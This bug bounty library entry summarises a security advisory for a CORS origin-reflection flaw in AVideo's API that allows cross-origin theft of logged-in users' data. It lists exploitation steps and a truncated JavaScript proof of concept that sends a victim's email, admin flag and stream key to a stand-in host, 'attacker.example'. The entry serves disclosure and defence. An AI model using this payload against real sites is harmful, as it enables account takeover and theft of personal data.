# WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover

AVideo's allowOrigin(true) reflects any Origin with credentials on API endpoints; SameSite=None cookies let attacker pages read PII and stream keys.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-04-14
- CVE: CVE-2026-41056
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-ccq9-r5cw-5hwq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-ccq9-r5cw-5hwq
- Tags: area:web domain:web impact:ato impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:cors vuln:info-disclosure

**Target:** PHP web app API endpoints (plugin/API/get.json.php, set.json.php)
**Root cause:** allowOrigin($allowAll=true) reflects the attacker-supplied Origin header into Access-Control-Allow-Origin while setting Access-Control-Allow-Credentials: true, and is called unconditionally by both API entry points. Session cookies use SameSite=None, so browsers attach them to cross-origin requests.
**Steps:**
1. Observe `allowOrigin(true)` called at top of `plugin/API/get.json.php:12` and `plugin/API/set.json.php:12`.
2. Read `objects/functions.php:2773`: reflects `$_SERVER['HTTP_ORIGIN']` into `Access-Control-Allow-Origin` plus `Access-Control-Allow-Credentials: true`.
3. Note `objects/include_config.php:144` sets `session.cookie_samesite` to `None`.
4. Host HTML on attacker domain running `fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {credentials:'include'})`.
5. Victim visits page while logged in; response is readable and exfiltrated via `navigator.sendBeacon`.
6. Optionally call `set.json.php` endpoints for state changes.
**How found:** Code review of the API entry points and shared allowOrigin helper; noticed the comment claiming endpoints only return public ad XML was wrong since the same call gates the whole API, and that a prior fix (commit 986e64aad) only patched the non-$allowAll path.
**Exploitation:** Attacker lures a logged-in victim to an attacker-controlled page. The page issues credentialed fetch to get.json.php?APIName=user; the server reflects the attacker Origin with Allow-Credentials, so the browser exposes the authenticated JSON. Attacker reads email, name, address, phone, birth date, admin flags, livestream server URL with password, and encrypted stream key, then beacons it to their server. Same page can drive set.json.php writes.
**Escalation:** Single attacker page harvests data from every logged-in visitor (mass exploitation); leaked admin flags and livestream credentials enable stream hijacking and targeted attacks on privileged accounts.
**Insight:** When a shared CORS helper has a permissive 'public' mode, check every caller — a comment justifying the permissive branch for ad XML can mask that the same helper gates authenticated API endpoints; also check SameSite=None cookie config to confirm credentials actually flow cross-origin.

## Proof of concept (copied exactly from the original report)

**Attacker HTML page performing credentialed CORS fetch**

```
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect',
    JSON.stringify({
      email: data.user?.email,
      name: data.user?.user,
      isAdmin: data.user?.isAdmin,
      streamKey: data.livestream?.key,
      streamServer: data.livestream?.server
```

